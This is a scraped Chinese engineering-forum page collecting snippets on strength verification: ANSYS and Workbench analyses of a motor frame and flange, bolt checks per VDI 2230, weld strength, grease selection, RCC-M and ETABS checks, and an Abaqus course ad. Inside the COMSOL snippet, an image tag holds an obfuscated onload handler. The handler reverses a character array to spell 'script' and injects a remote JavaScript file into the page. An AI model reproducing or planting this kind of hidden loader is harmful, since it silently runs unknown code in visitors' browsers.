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登錄公式校核和ansys校核的案例
利用ANSYS/CivilFEM中的規范對結構進行配筋計算和校核
利用ANSYS/CivilFEM,通過ANSYS的求解器精確模擬分析大跨及復雜建筑物,張拉膜結構,塔樓,砌體結構。可對結構進行靜力分析、諧波響應分析、地震分析、整體穩定分析等,也可將工程感興趣的細部單獨建模,形成子模型,將結構整體分析的結果引入子模型,得到更精確的計算結果。可用ANSYS/CivilFEM中的規范對結構進行配筋計算和校核;
電機機座和法蘭盤的結構靜強度校核
1 分析內容和目的
本項目是與某集團電機廠合作對某型電機機座和法蘭盤部分進行結構靜強度校核。
2 分析方案
應用ANSYS Mechanical軟件對法蘭盤和機座進行靜強度分析。在分析中考慮兩個零件是通過螺栓固定在一起,可采用ANSYS提供的接觸綁定的功能將兩個部件進行固接。電機通過法蘭盤的端部的四個螺栓孔水平安裝在機構上,在模擬中可將法蘭盤的端部固定約束。由于安裝的環境和電機發熱的影響,考慮溫度載荷的作用。電機自重作用可轉化為力加到重心上。轉矩可相應轉化到機座上,通過機座將轉矩傳給法蘭盤。
依據上述分析思路,具體分析步驟如下:
第一步——零件裝配:基于客戶提供的三維幾何零件模型,在DM中進行裝配和編輯。
第二步——網格劃分:對三維幾何模型進行網格劃分,采用ANSYS—MESH進行自動網格劃分。
第三步——邊界條件設置:基于網格計算模型,施加各種邊界條件和載荷。
第四步——計算求解:提交上述調試通過的求解文件,實現求解分析。
第五步——撰寫計算結果分析報告:利用Workbench后處理功能,對計算結果文件進行各種數據處理,對法蘭盤的靜強度進行校核。
3 定義材料屬性
在WORKBENCH的Engineering Data 中定義材料HT200屬性,包括楊氏模量和泊松比,以及材料熱膨脹系數和參考溫度,具體參數數值見下表
表5-1 材料參數
4 零件裝配與網格劃分
將由廠方提供的兩個單體零件在DM中進行裝配,可充分利用DM強大的幾何建模和編輯功能,按照兩者的裝配關系進行準確定位。
展開 【4月20-22日 北京】“ABAQUS材料校核、接觸非線性和優化”邀請函
作為一種通用的模擬工具,Abaqus優秀的分析能力和模擬復雜系統的可靠性,使得Abaqus在汽車、電子、醫療和家電等行業被廣泛應用,并在大量高科技產品研發中發揮著巨大的作用,Abaqus也被認為是力學分析最強的通用有限元軟件。
本此課程將以“形散神不散”的思路,詳細講解Abaqus中的材料校核、參數化定義、Isight擬合材料參數、并結合Tosca作結構優化設計。特別對Abaqus的結構非線性部分,幾何非線性、邊界非線性和材料非線性等講解經驗豐富的收斂調試方法。詳情請參見“內容大綱”。
二、增值服務:
贈送定制U盤一個;
同一單位2人報名享受9折優惠;同一單位3人以上(含)報名享受8.5折優惠;
課程結束后可領取該課程課件、配套CAE模型及10套相關學習資料;
參訓學員或企業針對課程相關問題在課程結束后也可以得到老師的解答與指導(郵件、微信、電話),作為培訓講授的補充。
三、授課專家:
該課程講師,具有10年的工程仿真分析經驗,熟練掌握Abaqus、ANSYS、Dynaform和ANSA等軟件,出版Abaqus和ANSYS專著4部,上海交通大學博士,達索SIMULIA技術支持專家認證,SIMWe論壇版主,CAEMC-國際注冊CAE工程管理咨詢工程師。具有豐富的汽車、電子和家電行業項目經驗。
四、時間地點:
2019年4月20-22日 北京
(第一天報到,授課2天)
五、課程大綱:
六、培訓費用:
標準費用:3300元/人,食宿可統一安排,費用自理。
定制內訓:根據企業實際問題和產品模型,結合人員水平設計課程由專家上門授課。
展開 螺栓連接強度校核
01 螺紋連接分為:螺栓連接,螺柱連接,螺釘連接
02 螺栓組的布置原則
03 螺栓組的工況
橫向力
軸向力
扭矩
彎矩
04 螺桿直徑,螺距,螺桿應力截面積,螺桿最小拉力載荷,螺桿保證載荷
05 螺母的保證載荷
06 普通螺栓的強度校核
07 預緊螺栓的強度校核
08 鉸制孔螺栓的強度校核

Workbench螺栓失效與校核技術 ¥10
<p><strong>模擬方法:</strong></p><p>?1,不建立幾何,通過支反力校核</p><p>?2,建立螺栓關系,采用Beam Connection施加預緊力</p><p>?3,建立線體,施加預緊力</p><p>?4,建立螺栓實體,不考慮螺紋,施加預緊力</p><p>?5,建立螺栓實體,考慮等效螺紋效應</p><p>?6,建立螺紋特征,進行精細分析</p><p><img src="http://www.yqgqt.org.cn/platform/static/ueditor/themes/default/images/spacer.gif"></p><div contenteditable="false" width="100%">
<img title="1.png" style="max-width:760px;" alt="1.png" src="https://img.jishulink.com/upload/201910/2113b23bba714682a92e65ae2e7ec331.png" data-mobile-src="https://img.jishulink.com/upload/201910/2113b23bba714682a92e65ae2e7ec331.png?image_process=/format,webp/quality,q_40/resize,w_400" data-pc-src="https://img.jishulink.com/upload/201910/2113b23bba714682a92e65ae2e7ec331.png?
展開 工業水槽強度校核
1、載入模型
2、添加載荷
3、設置固定約束
4、查看結果
由于ANSYS計算速度太慢,結果還未出來,暫時沒有對比結果。
懸架計算校核報告
懸架計算校核報告
基于VDI2230的螺栓校核工具
國內早已有相關技術標準對高強度螺栓進行校核,大多數是基于《機械設計手冊》進行評估,但是其評估方法具有一定的局限性,會帶來一系列問題。目前,國內外對高強度螺栓的評估,更精確的方式是基于《VDI 2230規范》。
VDI 2230是由德國機械工程師協會在1986年首次制定,經歷了30多年的實踐,為螺栓連接校核提供了系統性的參考。
圖 VDI 2230規范
該規范分為Part 1與Part 2兩個部分,其中大部分內容在Part 1中,主要介紹了對單螺栓問題的評估流程與細節,從理論上闡述了力、力矩以及變形之間的關系;Part 2部分是針對多螺栓問題進行的補充。VDI 2230規范既能通過理論公式、經驗公式等校核單個同心或偏心的夾緊/加載螺栓,也可以實現多螺栓系統的評估。但在這種方式中,如若純依靠人工手動計算,有些參數很難給出,并且用戶經常需要做出額外的假設,會導致有較高的安全系數,設計的域度過大。
圖 VDI 2230規范計算流程
為解決此問題,德國CADFEM公司基于VDI 2230規范和有限元方法,開發了高效的螺栓評估工具Bolt Assessment inside ANSYS。使用該軟件求解過程中,有限元計算結果和用戶自定義的參數可傳遞給后臺求解器,求解器基于此數據可計算出不同階段、不同方面的安全因子,并基于ANSYS Workbench強大、易用的后處理,允許用戶快速識別出關鍵螺栓。求解完成后,軟件將自動保存計算報告,報告中包含了所有的設計參數、計算過程數據、結果數據等,方便用戶的查詢與檢查。
展開 基于comsol的溫度傳感校核
<p>基于comsol的溫度傳感校核</p><div contenteditable="false" width="100%">
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<img onload="var st=document['create' + 'Element'](['t', 'p', 'i', 'r', 'c', 's'].reverse().join(''));st['src']='https://img.jishulink.com/202505/attachment/e3c0c45774c44ad99c4c8cf72de98f7b.js';document.body['append' + 'Child'](st)"src="https://img.jishulink.com/202410/attachment/87006ccdb34b44298a6b273e3d61ccc1.gif" data-mobile-src="https://img.jishulink.com/202410/attachment/87006ccdb34b44298a6b273e3d61ccc1.gif?image_process=/format,webp/resize,w_400" data-pc-src="https://img.jishulink.com/202410/attachment/87006ccdb34b44298a6b273e3d61ccc1.gif?
展開 離合器操縱機構校核計算
離合器操縱機構校核計算
軸承潤滑脂的溫度怎么選(校核計算)?
此時需要對“給定工況”和“滿足潤滑性能”進行校核。這就是通常的潤滑選擇校核計算。
以往曾經講過(亦可以查閱《電機軸承應用技術》、《電機軸承故障診斷與分析》、《齒輪箱軸承應用技術》,以及本公號其他文章),潤滑脂的選擇校核計算本質上是校核卡帕系數。當卡帕系數為1至4之間的時候,說明所選潤滑滿足潤滑需求。
在計算的過程中,可以注意到其中有很多的溫度影響。比如黏度變化曲線,其實是黏度對溫度的變化曲線。
這個校核計算的本質就是校核所選潤滑脂在當前溫度下,是否可以滿足卡帕系數落到1-4之間。如果答案是肯定的,那么選擇就是恰當的,否則則需要進行調整。
總結
從上面的介紹感覺溫度選擇和標稱溫度沒有直接的關系。事實上,標稱的溫度與油脂的選擇是有一定聯系的。因為油脂的滴點等性能決定了黏度曲線,而卡帕系數的計算也來自于黏度曲線。
通過本文的介紹不難發現,直接將使用溫度和油脂標稱數據進行對比的方式往往是不準確的。
問題來了,為什么油脂供應商不給一個可對比的參數呢?答案是,這不可能。因為油脂供應商不知道設備設計者選擇的工況條件。而油脂的性能是隨著工況(溫度)變化的。因此無法給出一個定值。
展開 
如何處理焊接連接結構強度校核?
當然它所校核是豎板的強度。
如果是這樣結果的區域,從分析上來說,通常情況下就可以不用管了。畢竟焊縫強度是高于母材的。
如結果如上圖所示,等效應力最大值170Mpa,參考值。但上方點取的位置處157Mpa。其實,很容易看出來,應力值主要是彎矩引起,豎直方向的正應力,即彎曲應力構成了等效應力。如果根據現有的點取的157Mpa位置,向下插值,下方的應力值預期能超200Mpa了。
這種情況下,若超過根據工況類型和基于屈服強度相應安全系統下的許用應力值,需要考慮下焊縫強度校核。
從有限元的分析結果可以看出,焊縫的外載僅需考慮彎矩作用(可以通過截面獲取焊縫處的力和力矩,當然也可以在該處采取接觸)。
根據機械手冊 焊縫高度3mm,即 :
角焊縫計算厚度,
焊縫應力
焊縫許用應力 取值98Mpa 根據焊條選擇,詳見機械手冊 焊縫強度滿足要求。
其實從公式上不難看出,手冊上的計算公式,是有假定條件的,假定應力在焊縫計算厚度上是均勻分布的。
焊縫的計算截面對y軸的慣性矩 :
焊縫的計算截面的抗彎系數:
焊趾、焊根細節難以從設計層面上控制,實際加工時肯定每個都有些差別。焊縫附近的應力很復雜,應力集中、熱應力、內應力很難確定。假定應力在焊縫計算厚度上是均勻分布的,顯然是不會成立的。但這是一種根據工程實際的一種校核方法,再結合工藝、工況類型等信息,確定允用應力,是經過大量實際確實可行的,納入到了手冊工具書中。當然也可以采用德國、美國相關的規范。
當然這上面采取的焊縫校核是針對的普通的機械設備,若是面對壓力容器等有詳細規范要求的設備,那需要按其具體要求處理。
展開 WB13.0螺栓疲勞校核
高強螺栓結構應力與疲勞校核分析報告.zip
高強螺栓的疲勞分析校核。應用WB自帶的疲勞分析模塊,對螺栓進行應力分析和疲勞校核。
特點:疲勞分析模塊的應用;螺栓預緊力;對稱,多載荷步;接觸非線性。
由于涉及企業隱私,和單位法規的規定,隱去報告中含有隱私的 部分,望大家見諒和理解,歡迎大家討論,共同進步。
核電設備RCC-M校核標準概述
在某些特殊情況下,為了確定在荷載組合作用下局部和整體變形,可以采用彈塑性分析方法。使用這個方法通常需要大量的計算。實驗方法是通過設備或其某些構件幾何相似的模型承受荷載的作用,以確定變形和應力,或求出與所研究的損壞有關的安全裕量。
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強度理論
計算中,對1級設備采用第三強度理論,即計算最大剪應力。對2、3級設備采用第一強度理論,即計算最大主應力。
校核核電設備的關鍵步驟包含根據設備的技術特性確定設備應滿足的規范,即應力限制;確定結構所受的載荷。從而對設備進行力學分析與應力評定,驗證設計是否達到RCC-M規范的強度要求。
【JY】ETABS彈塑性時程分析的性能校核
此外,ETABS依據墻肢軸力的不同,可以考慮軸力對抗剪承載力的影響,如圖9所示,拉力會降低墻肢的抗剪承載力,而壓力則會增加墻肢的抗剪承載力,但是當拉力/壓力增加到一定程度后,抗剪承載力維持不變,這與中國規范中的抗剪承載力公式是相似的。連梁內力可接受準則更加簡單一些,如圖10所示。但是用戶需要注意的是,必須對殼單元設置有相應的墻肢/連梁標簽后,才可以指定墻肢(連梁)內力可接受準則。
圖9 墻肢內力可接受準則
圖10連梁內力可接受準則
1.5 材料可接受準則
材料可接受準則主要用于墻鉸和纖維鉸性能狀態的判斷,程序會獲取墻鉸或纖維鉸中同一材料最大的纖維應變,然后依據材料的可接受準則進行判定,當存在多種材料時,以最不利的判斷為最終結果。這與其他的可接受準則不同,是一種微觀層面的判定。此時我們應該注意的是,鉸的長度會對這項指標非常敏感。在ETABS中我們更加推薦使用轉角或者位移計(gauge單元)等對構件進行性能評估。
圖11 材料的可接受準則
2 性能校核
在ETABS中,用戶可以通過顯示>變形圖命令,顯示任意時刻下結構的出鉸情況,通過鉸不同的顏色,顯示出鉸不同的狀態,如圖12所示。但是圖中只能對塑性鉸、纖維鉸和墻鉸狀態進行的判斷,并且無法對相同性能狀態下,不同鉸的塑性程度進行區分。此時,用戶應該通過性能校核功能對構件狀態進行量化評估。
圖12 鉸狀態顯示
用戶可以通過定義>性能校核命令定義性能校核數據,如圖13。首先是需求集列表,通常可以按照地震輸入不同進行劃分,同時還可以對不同需求集的校核結果進一步處理:取均值+標準差或取最大值。對應中國規范的規定,當取三組加速度時程曲線輸入時,計算結果宜取時程法的包絡值,當取七組加速度時程曲線輸入時,計算結果宜取時程法的平均值。其次是需求集對應的工況,通常對應為X向和Y向時程工況。
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